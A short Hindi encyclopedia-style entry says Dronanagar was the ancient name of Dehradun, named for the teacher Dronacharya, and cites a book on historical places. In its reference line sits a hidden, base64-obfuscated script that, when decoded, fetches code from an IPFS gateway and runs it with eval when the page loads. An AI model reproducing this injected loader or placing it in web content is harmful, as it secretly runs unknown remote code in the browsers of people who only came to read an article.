द्रोणनगर

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द्रोणनगर देहरादून का प्राचीन था, जो पाण्डवों के गुरु और धर्नुविद्या के विशेषज्ञ द्रोणाचार्य के नाम पर था।[1]

  • इस प्राचीन नगर का एक पर्याय 'द्रोणपुर' भी है।
  • द्रोणनगर महाभारत के समय से ही भारतीय संस्कृति और विरासत का स्थल रहा है।
  • प्राचीन किंवदन्ती के अनुसार देहरादून का नाम पहले द्रोणनगर था और यह कहा जाता था कि पाण्डव-कौरवों के गुरु द्रोणाचार्य ने इस स्थान पर अपनी तपोभूमि बनाई थी और उन्हीं के नाम पर इस नगर का नामकरण हुआ था।


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 457 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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